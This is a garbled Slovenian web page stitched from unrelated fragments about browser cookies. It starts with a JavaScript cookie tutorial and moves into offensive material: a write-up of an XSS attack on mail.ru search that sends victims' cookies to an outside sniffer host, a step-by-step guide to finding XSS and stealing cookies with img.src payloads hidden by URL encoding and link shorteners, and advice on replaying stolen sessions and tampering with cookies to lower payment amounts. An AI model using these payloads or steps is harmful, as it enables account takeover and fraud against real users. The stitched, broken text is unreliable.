Metode za krajo piškotkov. Kako pridobiti geslo iz piškotka Čemu so namenjeni?


JavaScript omogoča nastavitev in branje piškotkov v brskalniku. V tej lekciji si bomo ogledali, kako delati s piškotki, in naredili preprosto stran, ki si bo zapomnila vneseno ime in ga prikazala vsakič, ko se prijavite.

Kaj so piškotki?

Piškotki so majhna količina podatkov, ki jih shrani spletni brskalnik. Omogočajo shranjevanje določenih informacij o uporabniku in njihovo pridobitev vsakič, ko obišče vašo stran. Vsak uporabnik ima svoj edinstven nabor piškotkov.

Običajno piškotke uporablja spletni strežnik za izvajanje funkcij, kot so sledenje obiskom spletnega mesta, registracija na spletnem mestu in shranjevanje informacij o naročilih ali nakupih. Vendar pa nam za uporabo piškotkov ni treba izumiti programa spletnega strežnika. Uporabljamo jih lahko s pomočjo JavaScripta.

Lastnost document.cookie.

V JavaScriptu se do piškotkov dostopa z lastnostjo piškotka predmeta dokumenta. Piškotke lahko ustvarite na naslednji način:

In dobite celoten shranjen nabor piškotkov, kot je ta:

Var x = document.cookie;

Oglejmo si shranjevanje in pridobivanje piškotkov podrobneje.

Shranjevanje piškotkov

Če želite shraniti piškotek, moramo besedilnemu nizu dodeliti document.cookie, ki vsebuje lastnosti piškotka, ki ga želimo ustvariti:

document.cookie = " ime = vrednost; poteče = datum; pot = pot; domena = domena; varno";

Lastnosti so opisane v tabeli:

Primer opisa lastnosti
ime = vrednost Nastavi ime piškotka in njegovo vrednost. uporabniško ime=Vasya
poteče = datum Nastavi datum poteka za piškotke. Datum mora biti v obliki, ki jo vrne metoda toGMTString() objekta Date. Če expires ni naveden, bo piškotek izbrisan, ko zaprete brskalnik. poteče=
13/06/2003 00:00:00
pot= pot Ta možnost nastavi pot do mesta, znotraj katerega je piškotek veljaven. Samo dokumenti z navedene poti lahko pridobijo vrednost piškotka. Običajno je ta lastnost prazna, kar pomeni, da lahko do nje dostopa le dokument, ki je nastavil piškotek. pot=/demo/
domena=domena Ta možnost nastavi domeno, znotraj katere deluje piškotek. Samo spletna mesta iz navedene domene lahko prejmejo vrednost piškotka. Običajno je ta lastnost prazna, kar pomeni, da lahko do nje dostopa samo domena, ki je nastavila piškotek. domena=spletna stran
varno Ta možnost pove brskalniku, naj uporabi SSL za pošiljanje piškotkov strežniku. Zelo redko uporabljen. varno

Oglejmo si primer nastavitve piškotkov:

document.cookie = "uporabniško ime=Vasya; poteče=15.2.2011 00:00:00";

Ta koda nastavi piškotek uporabniškega imena in mu dodeli vrednost "Vasya", ki bo shranjena do 15. februarja 2011 (uporablja se evropski format časa!).

var cookie_date = nov datum (2003, 01, 15); document.cookie = "uporabniško ime=Vasya; poteče=" + cookie_date.toGMTString();

Ta koda naredi povsem enako kot prejšnji primer, vendar za nastavitev datuma uporablja metodo Date.toGMTString(). Upoštevajte, da se številčenje mesecev v objektu Datum začne z 0, kar pomeni, da je februar 01.

Document.cookie = "prijavljen=da";

Ta koda nastavi piškotek logged_in in ga nastavi na "yes". Ker atribut expires ni nastavljen, bo piškotek izbrisan, ko zaprete brskalnik.

var cookie_date = nov datum(); // Trenutni datum in čas cookie_date.setTime (cookie_date.getTime() - 1); document.cookie = "logged_in=; expires=" + cookie_date.toGMTString();

Ta koda nastavi piškotek logged_in in nastavi niz za shranjevanje na čas eno sekundo pred trenutnim časom - ta operacija bo piškotek takoj izbrisala. Ročni način brisanja piškotkov!

Prekodiranje vrednosti piškotka!

Vrednost piškotka mora biti ponovno kodirana za pravilno shranjevanje in prikaz znakov, kot sta presledek in dvopičje. Ta operacija zagotavlja, da brskalnik pravilno interpretira vrednost. Prekodiranje Lego se izvede s funkcijo JavaScript escape(). Na primer:

document.cookie = "uporabniško ime=" + escape("Vasya Pupkin") + "; expires=02/15/2003 00:00:00"; Funkcija za nastavitev piškotkov

Nastavitev piškotkov bo enostavnejša, če napišemo posebno funkcijo, ki bo izvajala enostavne operacije, kot sta kodiranje vrednosti in sestavljanje niza document.cookie. Na primer:

Funkcija set_cookie (ime, vrednost, exp_y, exp_m, exp_d, pot, domena, varno) ( var cookie_string = name + "=" + escape (vrednost); if (exp_y) ( var expires = new Date (exp_y, exp_m, exp_d) ); cookie_string += "; expires=" + expires.toGMTString(); ) if (path) cookie_string += "; path=" + escape (pot); if (domain) cookie_string += "; domain=" + escape (domena); if (varno) cookie_string += "; secure"; dokument.cookie = cookie_string )

Funkcija vzame podatke o piškotkih kot argumente, nato sestavi ustrezen niz in nastavi piškotek.

Na primer nastavitev piškotkov brez datuma veljavnosti:

set_cookie("uporabniško ime", "Vasya Pupkin"); set_cookie ("uporabniško ime", "Vasya Pupkin", 2011, 01, 15);

Nastavitev piškotkov z obdobjem shranjevanja, domeno spletnega mesta, uporabo SSL, vendar brez poti:

set_cookie ("uporabniško ime", "Vasja Pupkin", 2003, 01, 15, "", "mesto", "varno"); Funkcija za brisanje piškotkov.

Spodaj je predstavljena še ena uporabna funkcija za delo s piškotki. Funkcija "izbriše" piškotke iz brskalnika tako, da nastavi datum poteka na eno sekundo prej kot trenutna časovna vrednost.

funkcija delete_cookie (cookie_name) ( var cookie_date = new Date (); // Trenutni datum in čas cookie_date.setTime (cookie_date.getTime() - 1); document.cookie = cookie_name += "=; expires=" + cookie_date.toGMTString ();

Če želite uporabiti to funkcijo, ji morate posredovati samo ime piškotka, ki ga želite izbrisati:

Delete_cookie("uporabniško ime");

Pridobivanje vrednosti piškotka

Če želite pridobiti vrednost prednastavljenega piškotka za trenutni dokument, morate uporabiti lastnost document.cookie:

Var x = document.cookie;

To vrne niz, ki je sestavljen iz seznama parov ime/vrednost, ločenih s podpičji za vsi piškotke, ki veljajo za trenutni dokument. Na primer:

"uporabniško ime=Vasya; geslo=abc123"

V tem primeru sta vnaprej nastavljena 2 piškotka: uporabniško ime, ki ima vrednost "Vasya", in geslo, ki ima vrednost "abc123".

Funkcija za pridobitev vrednosti piškotka

Običajno potrebujemo samo vrednost enega piškotka naenkrat. Zato niz piškotkov ni primeren za uporabo! Tukaj je funkcija, ki obdela niz document.cookies in vrne samo piškotke, ki so zanimivi v določenem trenutku:

Funkcija get_cookie (cookie_name) ( var results = document.cookie.match ("(^|;) ?" + cookie_name + "=([^;]*)(;|$)"); if (results) return (unescape) (rezultati)); else return null)

Ta funkcija uporablja regularni izraz, da poišče ime piškotka, ki vas zanima, in nato vrne vrednost, ki jo obdela funkcija unescape(), da jo znova kodira v običajno obliko znakov. (Če piškotek ni najden, je vrnjena vrednost null.)

Ta funkcija je enostavna za uporabo. Če želite na primer vrniti vrednost piškotka uporabniškega imena:

Var x = get_cookie("uporabniško ime");

Preprost primer uporabe

V tem primeru smo naredili stran, ki ob prvem obisku zahteva vaše ime, nato pa vaše ime shrani v piškotek in ga prikaže ob naslednjih obiskih.

Odprite stran v novem oknu. Ob prvem obisku vas bo prosil, da vnesete svoje ime in ga shranite v piškotek. Če stran obiščete znova, bo na zaslonu prikazano ime piškotka, ki ste ga vnesli.

Za piškotke smo nastavili obdobje hrambe na 1 leto od trenutnega datuma, kar pomeni, da bo brskalnik shranil vaše ime, tudi če ga zaprete.

Kodo strani si lahko ogledate v brskalniku tako, da izberete možnost Ogled izvorne kode. Tukaj je glavni del kode:

if (! get_cookie ("uporabniško ime")) ( var username = prompt ("Prosimo, vnesite svoje ime", ""); if (uporabniško ime) ( var current_date = new Date; var cookie_year = current_date.getFullYear () + 1; var cookie_month = current_date.getMonth(); var cookie_day = current_date.getDate(); set_cookie("uporabniško ime", cookie_year, cookie_month, cookie_day) else( var username = get_cookie("username"); document.write ("Pozdravljeni" , " + uporabniško ime + ", dobrodošli na strani!"); document.write("
Pozabi name!"); }

Ta lekcija vam je pokazala, kako uporabite piškotke v JavaScriptu za shranjevanje informacij o vaših obiskovalcih. Hvala za vašo pozornost! :)

V katerem je bilo predlagano, da se udeležite brezplačnega dogodka, posvečenega vprašanjem informacijske varnosti. Ker je dogodek potekal v mojem mestu, sem se odločil, da moram tja vsekakor iti. Prva lekcija je bila posvečena ranljivostim na spletnih mestih, kot je XSS. Po pouku sem se odločila, da moram pridobljeno znanje utrditi v realnih razmerah. Izbral sem več spletnih mest, ki so povezana z mojim mestom, in začel poskušati vstaviti svoj skript v vse obrazce. V večini primerov je bil skript filtriran. Zgodilo pa se je, da se je sprožilo “opozorilo” in se je pojavilo moje sporočilo. Najdeno ranljivost sem prijavil skrbnikom in hitro so vse popravili.

Nekega od teh dni, ko sem pregledoval najnovejšo pošto na mail.ru, mi je v oči padel obrazec za iskanje pisem v nabiralniku. Občasno sem s tem iskanjem našel nekaj, kar sem potreboval v kupu svojih starih pisem. No, ker sem zadnjih nekaj dni svoje “opozorilo” vstavil skoraj povsod, kamor sem lahko, je moja roka refleksno segla po tem iskalniku. Vtipkal sem kodo za svoj skript in pritisnil Enter. Predstavljajte si moje presenečenje, ko sem na zaslonu zagledal boleče znano sporočilo ...


Govornik je na predavanju Open InfoSec Days povedal, da so programerji precej skeptični do tovrstnih ranljivosti, češ »alert? No, kaj pa? To ni nevarno." Če sem bil na drugih straneh zadovoljen samo s tem oknom z mojim sporočilom, sem se v tem primeru odločil iti dlje in pokazati, kaj lahko nastane iz takšnega "opozorila".

Torej skript deluje, kar pomeni, da obstaja ranljivost. Zato lahko poskusite zagnati kakšen drug skript. Na primer skript, ki nam pošlje piškotke drugega uporabnika. Da skript deluje, moramo uporabnika prisiliti, da izvede naš skript. To lahko storite tako, da mu pošljete pismo z ustrezno povezavo, po kliku na katero se bo preiskal nabiralnik in izvršila koda, ki jo potrebujemo.

Potrebovali smo nekaj časa in veliko eksperimentiranja, da smo razumeli mehaniko ranljivosti. Včasih je scenarij deloval, včasih je bil filtriran. Po nekaj truda je bilo empirično ugotovljeno, da skript deluje 100% le, če iskanje črk daje pozitiven rezultat. To pomeni, da ko uporabnik išče z našo skripto, mora biti vsaj ena črka v njegovem poštnem predalu najdena po navedenih parametrih. Tega ni težko urediti.

Prav tako namesto “opozorila” potrebujemo skripto, ki bo prenesla piškotke v naš sniffer. Ta skript bomo napisali v ločeno datoteko in ga naložili v naše iskanje. Ustvaril sem datoteko test.js s potrebno kodo in jo naložil na gostovanje. Koda skripta je takšna:

Img=nova slika();
img.src="http://sitename.ru/sniff.php?cookie="+document.cookie;
funkcija F() (
lokacija="http://www.solife.ru";
}
setTimeout (F, 5000);

Kaj bi rad tukaj pojasnil. Postavimo se v kožo napadalca. Potrebujemo, da uporabnik klikne na povezavo. Kako naj ga prisilim v to? Obljubite lahko gore zlata in da jih prejmete, morate slediti naši povezavi do spletnega mesta. Ampak mislim, da ne bo šlo. Ljudje temu ne nasedajo več (sama takšna pisma nenehno brišem, ne da bi jih sploh prebrala). Zato bomo igrali na človeško usmiljenje, saj to v naravi še obstaja. Prosimo vas, da glasujete na strani za reševanje ogroženih živali. Najprej bomo prevzeli piškotke, nato pa bomo uporabnika preusmerili na stran za glasovanje. Časovna omejitev za preusmeritev je bila nastavljena na 5 sekund, sicer piškotki preprosto niso imeli časa, da bi se prenesli v sniffer, in uporabnik je bil takoj preusmerjen na stran o živalih. Namesto "opozorila" sem uporabil naslednji skript:

Ko sem končal s scenariji, sem začel pisati pismo. Prišel sem do nekaj takega:


Izpadlo je precej cinično, vendar sem poskušal razmere čim bolj približati realnosti. Na koncu pisma je vrstica s skriptom, zato da bo naše pismo najdeno, ko bomo iskali. Da črta ne vzbuja nepotrebnih vprašanj, sem jo pobarval belo. V besedo “http” sem dal tudi presledek, da se niz ne bi prepoznal in pretvoril v povezavo. V nasprotnem primeru, kljub temu, da je vrstica skripta napisana z belo pisavo, bi bila povezava s strani prejemnika označena z modro barvo, tega pa ne potrebujemo. Pametno iskanje bo še vedno našlo in prepoznalo ta niz, kljub presledkom.

E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

Za skript sem uporabil kodiranje URL-jev, tako da nič ni bilo filtrirano. Dodal sem tudi parameter “q_folder=0” za iskanje, tako da se iskanje izvaja v mapi “Prejeto”.

Pismo je pripravljeno, pošiljamo ga. Svoj drugi nabiralnik sem uporabljal pri isti storitvi kot prejemnik. Poglejmo, kaj je prišlo v drugo škatlo.

Besedilo našega scenarija ni vidno, ker se zlije z ozadjem. Kliknimo na povezavo in poglejmo, kaj se zgodi. Uporabnik je premaknjen na rezultate iskanja e-poštnih sporočil na podlagi parametra, ki smo ga določili. Naše pismo, ki smo ga poslali, je vidno v rezultatih iskanja. Trenutno je naša skripta že delovala in pošiljala uporabnikove piškotke vohalniku. Po 5 sekundah (čas je odvisen od nastavitev skripte) je uporabnik preusmerjen na stran za glasovanje.

Preverjam datoteko sniff.txt:

Ker moj cilj ni ukrasti škatle drugih ljudi ali pridobiti dostop do njih, bom zgodbo končal tukaj. Toda teoretično lahko zamenjate svoje piškotke s piškotki nekoga drugega in pridobite dostop do nabiralnika nekoga drugega. Na splošno, če napadalca zanima tarča, bo našel uporabo prejetih informacij.

Rad bi se zahvalil Sergeju Belovu (

Moj prijatelj je pozabil geslo za eno stran. Pred tem pa je v brskalniku Google Chrome ob prijavi označil potrditveno polje »Zapomni si me«, kar mu je omogočilo dostop do strani pod njegovim računom. Prejel sem vprašanje, ali je mogoče to čarobno stanje prenesti na drug računalnik. Seveda bi bilo pravilneje spremeniti ali obnoviti geslo, vendar moj prijatelj tega ni mogel storiti iz razlogov, ki niso povezani s primerom.

Kako uporabljati intercepter-ng za lutke

Kljub raznolikosti sodobne programske opreme, med katero lahko izbirate, je težko najti boljše hekerske programe za Android kot intercepter ng. Prvo merilo, ki govori v prid temu izdelku, je njegova dejanska učinkovitost. Večina snifferjev, ponujenih v omrežju, je le imitacija, ki ne opravlja svojih navedenih funkcij.

Naslednja pozitivna dejavnika sta vsestranskost aplikacije in pokritost širokega kroga uporabnikov.

Računalniška pomoč 939-29-71

Začnimo po vrsti. Piškotki ali »piškotki« so zelo majhne besedilne datoteke – zaznamki z informacijami.

Spletni strežnik te informacije posreduje uporabnikovemu brskalniku. kjer so ti podatki shranjeni, dokler niso potrebni. Ni čisto jasno. No. Globa.

Poskušal bom narediti še bolj preprosto. Poglej. ste se registrirali na kateri koli spletni strani.

Ob registraciji se ti isti »piškotki« ustvarijo.

To so.

Cookie Cadger

Program posluša promet v omrežju WiFi, prestreže piškotke in ponovi uporabnikovo sejo v vašem brskalniku ter ponavlja zahteve z njegovimi poverilnicami. Avtor Matthew Sullivan je predstavil program 30. septembra na hekerski konferenci Derbycon. Tik med govorom je Matthew Sullivan prek WiFi prestregel nezavarovano sejo z Googlom enega od obiskovalcev konference.

Kako ukrasti piškotke

Če na spletni strani v naslovno vrstico brskalnika Firefox ali Opera vnesete naslednje besedilo: javaсript:document.write(document.cookie); potem boste videli nekaj takega: remixAdminsBar=0; remixGroupType=0; remixpass=********************; remixwall=0; remixInformation=0; remixMembersBar=0; remixdescription=0; remixautobookmark=8; remixemail=********; remixmid=23363; remixchk=5; remixaudios=0; remixlinksBar=1; remixOfficersBar=0; remixPhotosBar=0; remixTopicsBar=0; remixvideos=0; remixRecentNews=0; remixAlbumsBar=0 Pozor! .

Popoln vodnik za skriptiranje med spletnimi mesti

XSS je vrsta ranljivosti programske opreme, ki je izvorna za spletne aplikacije, ki napadalcu omogoča vbrizgavanje skripta na strani odjemalca v spletne strani, ki si jih ogledajo drugi uporabniki, definira XSS na naslednji način: »Skriptno izvajanje med spletnimi mesti (XSS) je vrsta izvorne ranljivosti programske opreme. -aplikacije (preko varnostnih omejitev brskalnika)«, ki napadalcu omogoča, da vstavi skript odjemalca v spletne strani, ki si jih ogledujejo drugi uporabniki.

Razlika med piškotki in sejami

Pred kratkim sem napisal članek o tem, kako registrirati in avtorizirati uporabnike na spletnem mestu.

". V tem članku bom razčlenil razliko med sejami in piškotki. da se končno lahko odločiš.

Piškotki. Ne, sploh ne gre za piškotke, ampak za vašo varnost. Torej greste na svoje najljubše spletno mesto "vkontakte" (ali na primer pogledate pošto) na računalniku nekoga drugega, zavrnete možnost "shrani geslo", z veseljem pogledate pošto in odidete. In ne razmišljajte o tem, da se lahko zdaj prijavite v družabno omrežje ali pošljete e-pošto pod svojim imenom.

Sploh ne razmišljam o situaciji s programom, ki si zapomni geslo brez vaše vednosti. To je že namerno vdiranje in verjetno boste posumili, da bi se kaj takega lahko zgodilo in na takšnem računalniku ne boste šli na svojo najljubšo stran. Lahko pa govorimo o preprosti človeški radovednosti – bili ste na obisku pri prijateljih, potem pa nenadoma dobijo priložnost prebrati vašo pošto. Ste prepričani, da bodo zavrnili to priložnost? Se ne bojite, da se bo kaj izcimilo? V vsakem primeru bom pustil ob strani vprašanja morale in govoril samo o tem, kako se na računalniku shranjujejo informacije, da vas zdaj lahko spustijo na neko stran, ne da bi vas vprašali za geslo.

kako ukrasti piškotek

In ime te tehnologije je piškotki.

In tukaj se je vse začelo. Protokol http, preko katerega dejansko gledate strani (tudi tole), sprva ni predvideval možnosti vzdrževanja povezave. To pomeni, grobo rečeno, pošljete zahtevo spletnemu mestu, prejmete odgovor, prikaže se na zaslonu, nato pa se strežnik ne spomni ničesar o vas. To je seveda dobro, ko je spletno mesto zgolj informativno in si ne bi smelo zapomniti ničesar o vas, vendar živimo v dobi spleta 2.0 😉 Naravni razvoj protokola sta POST in GET zahteve, ko pošljete nekaj podatkov, strežnik ga lahko zapiše v podatkovno bazo, vendar to ni dovolj.

Poglejmo zelo preprost primer. Forum. Torej si se registriral, na forumu pa piše, da obstaja tak in tak uporabnik s takim in tem geslom in še nekaterimi dodatnimi podatki. Zdaj pa greš na forum in se prijaviš - vneseš svoje geslo. Nekje bi moral biti podatek, da ste prijavljeni. Na strežniku? Seveda ne! Na strežnik je nemogoče shraniti informacijo, da je bila avtorizacija opravljena iz vašega računalnika - ne bo vas mogel razlikovati od nekoga drugega (tudi vaš IP naslov vas ne identificira enolično)! Tako mora biti informacija, da je prišlo do avtorizacije, shranjena na vašem računalniku. Za to so piškotki, za to so bili ustvarjeni.

Piškotek je majhen zapis na vašem računalniku, ki shranjuje informacije o strani, ki ste jo obiskali. Ko se prijaviš, se ustvari podoben vnos, po katerem se lahko sprehajaš po forumu, pa te bo prepoznal. Vendar se bo to že zgodilo samodejno - zahvaljujoč informacijam, shranjenim v piškotku -, tako da se pretvarjanje, da ste glavni skrbnik foruma, še vedno ne bo obneslo, mimo preverjanja gesla.

Zdaj se lahko vrnemo na začetek tega članka. Če ste se nekam prijavili, ne da bi sploh shranili geslo, se lahko zgodi, da je bil v računalniku ustvarjen vnos, ki vam zdaj omogoča nepooblaščeno prijavo v ta vir pod vašim imenom. Sam vnos bo čez nekaj časa zastarel, vendar ga lahko prisilno počistite. Vsak brskalnik to počne drugače, pokazal vam bom, kako je to mogoče storiti v mojem najljubšem brskalniku Google Chrome. Odpiranje parametrov

Pojdite na zavihek »napredno« in poiščite gumb »prikaži piškotke«.

Zdaj lahko seveda izbrišete vse piškotke, vendar lahko to vznemiri lastnika računalnika. Zato lahko na primer v zgornje polje vnesete ime spletnega mesta, ki vas zanima

Nato lahko počistite samo piškotke, povezane s tem mestom. Lahko poskusiš na mojem. Če pa se prijavite v moj forum in nato počistite piškotke, bodo podatki za prijavo pozabljeni. Poskusi!

komentarji poganja

1.Kaj je XSS?
Ranljivost XSS omogoča vstavljanje poljubne kode javascript v telo strani. Napad XSS se razlikuje od drugih (na primer SQL injection ali PHP injection) po tem, da vpliva na odjemalca, ne na strežnik.

kako ukrasti piškotke

Z njegovo pomočjo si ne morete ogledati tabel baze podatkov, naložiti lupine itd. Najpogostejša uporaba XSS je krajo piškotkov.
Piškotki so majhen del podatkov, ki jih ustvari spletni strežnik in se shranijo na uporabnikovem računalniku kot datoteka. Običajno se piškotki uporabljajo za shranjevanje računov in najpogosteje vsebujejo šifrirano geslo, prijavo in ID seje (čeprav ne vedno)
XSS je na voljo v dveh vrstah, aktivni in pasivni.

Pasivni XSS zahteva neposredno sodelovanje žrtve, na primer klik na povezavo, ki vsebuje kodo javascript. Pri uporabi te vrste XSS ne morete storiti brez SI (Social Engineering)

Aktivni XSS ne zahteva sodelovanja žrtve; vse, kar mora storiti, je obiskati stran, ki vsebuje XSS. Aktivni XSS je lahko na primer v sporočilih na forumih, klepetih, dodajanju novic itd.

2. Poiščite XSS
V tem odstavku vam bom povedal, kako najti xss

2.1.Pasivni XSS
Če želite najti pasivni XSS, samo zamenjajte alert('xss') v vnosni obrazec, če je skript deloval in se pojavi sporočilo "xss", je ranljivost prisotna, če skript ni deloval, lahko poskusite tudi ">alert (), je to verjetno najpogostejša ranljivost xss. Če ne en ne drugi skript ni deloval, potem najverjetneje ni ranljivosti.
Poglejmo si primer.
http://miss.rambler.ru/srch/?sort=0& … amp;words=
Ali vidite obrazec za "iskanje"? tam vstavite ">alert()" in kliknite "najdi"
Prikaže se okno z xss, kar pomeni, da je xss prisoten (morda bo ta xss že odstranjen).

2.2.Aktivni XSS
Takšen css je lahko na primer v poljih profila, pri dodajanju novice v naslovu novice in v novici sami (redkeje), v sporočilih na forumih/klepetalnicah/sobah za goste z vključenim html-jem. Tukaj je vse preprosto, v polja vnesemo skript iz prejšnjega pododstavka in če se sporočilo prikaže na zaslonu, je ranljivost prisotna.
Poglejmo xss v oznakah BB na forumih.
Lahko poskusite preprosto vstaviti kodo javascript v oznako, na primer takole:
javascript:alert('xss')
Nekatere oznake imajo parametre, na primer oznaka ima parametra dynsrc in lowsrc, poskusimo kodo nadomestiti takole:
http://www.site.ru/image.jpg dynsrc=javascript:alert('xss')
Če je skript deloval, je xss tam

3.Uporaba XSS za krajo piškotkov
Zdaj najbolj okusno))))
Za krajo piškotkov potrebujemo spletno vohalo, na svoje gostovanje lahko namestite kakšno vohalo, lahko pa uporabite spletno vohalo, ki ga je zdaj ogromno.
Za krajo piškotkov prek pasivnega XSS mora žrtev slediti strupeni povezavi. Za krajo piškotkov bomo namesto alert('xss') uporabili drug skript:
img = nova slika();


zamenjamo skripto v povezavo in pustimo žrtev, da ji sledi, pogleda sniffer log in se veseli.
Poglejmo si primer.
Vzemimo tisti XSS na Rambleru iz prejšnjega odstavka.
Vstavi
">
img = nova slika();
img.src = "naslov vohalne slike"+document.cookie;

v iskalnem obrazcu kliknite »najdi«, poglejte v naslovno vrstico in si oglejte:

http://miss.rambler.ru/srch/?sort=0& … &words =">
To povezavo pošljemo žrtvi in ​​uživamo v piškotkih.
Ko vidi takšno povezavo, lahko žrtev nekaj sumi, zato je priporočljivo kodirati
">img = nova slika();img.src = "naslov vohalne slike"+document.cookie;
v URL Ali uporabite storitve, kot je http://tinyurl.com/
Preidimo na aktivni XSS, tukaj je vse preprosto, namesto alert() vstavimo img = new Image();img.src = "naslov sniffer slike"+document.cookie;

Zdaj imamo piškotke. Toda kaj storiti z njimi? Preprosto je, zamenjati jih morate namesto svojih. Brskalnik Opera ima vgrajen urejevalnik piškotkov (orodja->napredno->upravljanje piškotkov), obstaja vtičnik za Firefox (ne spomnim se kako se imenuje, uporabite Google)
To je zaenkrat vse, morda bo članek dopolnjen

Opera odprite glavni meni, pojdite na razdelek »Nastavitve« in izberite vrstico »Splošne nastavitve ...«. Lahko pa preprosto pritisnete bližnjične tipke CTRL + F12. S tem se odpre okno z nastavitvami brskalnika, kjer morate na zavihku »Napredno« klikniti razdelek »Piškotki« na levi plošči. V njem morate klikniti gumb »Upravljanje piškotkov«.

V Mozilla FireFox odprite razdelek »Orodja« v meniju in izberite »Nastavitve«. V oknu z nastavitvami morate iti na zavihek »Zasebnost«, tam poiskati gumb z napisom »Prikaži piškotke ...« in ga klikniti za dostop do seznama piškotkov, ki jih shrani brskalnik. Iščete in si jih lahko ogledate tukaj.

V Internet Explorerju razširite razdelek »Orodja« v meniju in izberite »Lastnosti«. V oknu z nastavitvami lastnosti pojdite na zavihek »Splošno« in v razdelku »Zgodovina brskanja« kliknite gumb »Možnosti«. Na ta način boste odprli drugo okno (“Možnosti začasnih datotek”), v katerem morate klikniti gumb “Prikaži datoteke”.

Kliknite naslov "Ime" na seznamu vsebine mape za shranjevanje začasnih datotek Internet Explorerja, ki se odpre - na ta način lahko združite vse datoteke piškotkov v en blok v skupnem kupu heterogenih datotek. Tukaj lahko najdete datoteko, ki vas zanima, in jo odprete v standardni beležnici za ogled ali urejanje.

V brskalniku Google Chrome kliknite ikono ključa v zgornjem desnem kotu okna in v meniju izberite Možnosti. Brskalnik bo odprl stran »Nastavitve«, vi pa kliknite povezavo »Napredno« na levi plošči in na strani z naprednimi nastavitvami kliknite gumb »Nastavitve vsebine«. To ni zadnja stran na poti do piškotkov, ki jih shrani ta brskalnik.

Kliknite gumb "Vsi piškotki in podatki spletnega mesta" na naslednji strani in končno boste imeli dostop do seznama piškotkov.

Google Chrome omogoča iskanje, ogled in brisanje piškotkov.

V brskalniku Safari kliknite ikono zobnika v zgornjem desnem kotu in izberite »Nastavitve ...«. V oknu za spreminjanje nastavitev morate iti na zavihek »Varnost« in tam klikniti gumb »Prikaži piškotke«. Safari ponuja samo funkcije za iskanje in brisanje piškotkov; vsebino teh začasnih datotek si lahko ogledate le delno.

Piškotki- informacije v obliki besedilne datoteke, ki jih spletno mesto shrani na uporabnikov računalnik. Vsebuje podatke za preverjanje pristnosti (prijava/geslo, ID, telefonska številka, naslov predala), uporabniške nastavitve, status dostopa. Shranjeno v profilu brskalnika.

Vdiranje v piškotke je kraja (ali "ugrabitev") seje obiskovalca spletnega vira. Zasebni podatki postanejo dostopni ne samo pošiljatelju in prejemniku, temveč tudi tretji osebi - osebi, ki je izvedla prestrezanje.

Orodja in tehnike za vdiranje v piškotke

Računalniški tatovi imajo, tako kot njihovi kolegi v resničnem življenju, poleg spretnosti, spretnosti in znanja seveda tudi svoja orodja - nekakšen arzenal glavnih ključev in sond. Oglejmo si najbolj priljubljene trike, s katerimi hekerji pridobivajo piškotke internetnih uporabnikov.

Vohljači

Posebni programi za spremljanje in analizo omrežnega prometa. Njihovo ime izhaja iz angleškega glagola "sniff" (vohati), ker. dobesedno "vohajo" prenesene pakete med vozlišči.

Toda napadalci uporabljajo vohalo za prestrezanje podatkov seje, sporočil in drugih zaupnih informacij. Tarče njihovih napadov so predvsem nezaščitena omrežja, kjer se piškotki pošiljajo v odprti HTTP seji, torej praktično niso šifrirani. (V zvezi s tem je najbolj ranljiv javni Wi-Fi.)

Za vgradnjo snifferja v internetni kanal med uporabniškim vozliščem in spletnim strežnikom se uporabljajo naslednje metode:

  • »poslušanje« omrežnih vmesnikov (vozlišča, stikala);
  • razvejanje in kopiranje prometa;
  • povezovanje z vrzeljo omrežnega kanala;
  • analizo s posebnimi napadi, ki preusmerijo promet žrtve na snifferja (MAC-spoofing, IP-spoofing).

Okrajšava XSS pomeni Cross Site Scripting. Uporablja se za napad na spletna mesta z namenom kraje uporabniških podatkov.

Načelo XSS je naslednje:

  • napadalec vstavi zlonamerno kodo (poseben prikrit skript) na spletno stran spletne strani, forum ali v sporočilo (na primer pri dopisovanju na družbenem omrežju);
  • žrtev gre na okuženo stran in aktivira nameščeno kodo na svojem računalniku (klikne, sledi povezavi itd.);
  • nato pa izvedena zlonamerna koda »izvleče« uporabnikove zaupne podatke iz brskalnika (predvsem piškotke) in jih pošlje na spletni strežnik napadalca.

Za "vsaditev" programskega mehanizma XSS hekerji uporabljajo vse vrste ranljivosti v spletnih strežnikih, spletnih storitvah in brskalnikih.

Vse ranljivosti XSS so razdeljene v dve vrsti:

  • Pasivno. Napad se izvede z zahtevo po določenem skriptu na spletni strani. Zlonamerno kodo je mogoče vbrizgati v različne oblike na spletni strani (na primer v iskalno vrstico spletnega mesta). Najbolj dovzetni za pasivni XSS so viri, ki ne filtrirajo oznak HTML, ko prispejo podatki;
  • Aktiven. Nahaja se neposredno na strežniku. In aktivirajo se v brskalniku žrtve. Aktivno jih uporabljajo prevaranti v vseh vrstah blogov, klepetov in virov novic.

Hekerji skrbno »zakamuflirajo« svoje XSS skripte, tako da žrtev ne posumi ničesar. Spremenijo končnico datoteke, kodo podajo kot sliko, jih motivirajo, da sledijo povezavi, in jih pritegnejo z zanimivo vsebino. Kot rezultat: uporabnik osebnega računalnika, ki ne more obvladati lastne radovednosti, lastnoročno (s klikom miške) pošlje sejne piškotke (z prijavo in geslom!) avtorju skripte XSS - računalniškemu zlobnežu.

Zamenjava piškotkov

Vsi piškotki so shranjeni in poslani na spletni strežnik (iz katerega so “prišli”) nespremenjeni – v izvirni obliki – z enakimi vrednostmi, nizi in drugimi podatki. Namerno spreminjanje njihovih parametrov se imenuje zamenjava piškotkov. Z drugimi besedami, pri zamenjavi piškotkov se napadalec pretvarja, da je le želja. Na primer, pri plačilu v spletni trgovini piškotek spremeni znesek plačila navzdol - tako pride do "varčevanja" pri nakupih.

Ukradeni sejni piškotki na družbenem omrežju iz računa nekoga drugega se "vstavijo" v drugo sejo in na drug računalnik. Lastnik ukradenih piškotkov dobi popoln dostop do žrtvinega računa (korespondenca, vsebina, nastavitve strani), dokler je na svoji strani.

“Urejanje” piškotkov se izvaja z uporabo:

  • Funkcije »Upravljanje piškotkov ...« v brskalniku Opera;
  • Dodatka za upravljanje piškotkov in naprednega upravitelja piškotkov za FireFox;
  • Pripomočki IECookiesView (samo Internet Explorer);
  • urejevalnik besedila, kot je AkelPad, NotePad ali Windows Notepad.
Fizični dostop do podatkov

Zelo preprosta izvedbena shema, sestavljena iz več korakov. Vendar je učinkovito le, če računalnik žrtve z odprto sejo, na primer VKontakte, ostane brez nadzora (in dolgo časa!):

  • Za prikaz vseh shranjenih piškotkov se v naslovno vrstico brskalnika vnese funkcija javascript.
  • Po pritisku na “ENTER” se vsi prikažejo na strani.
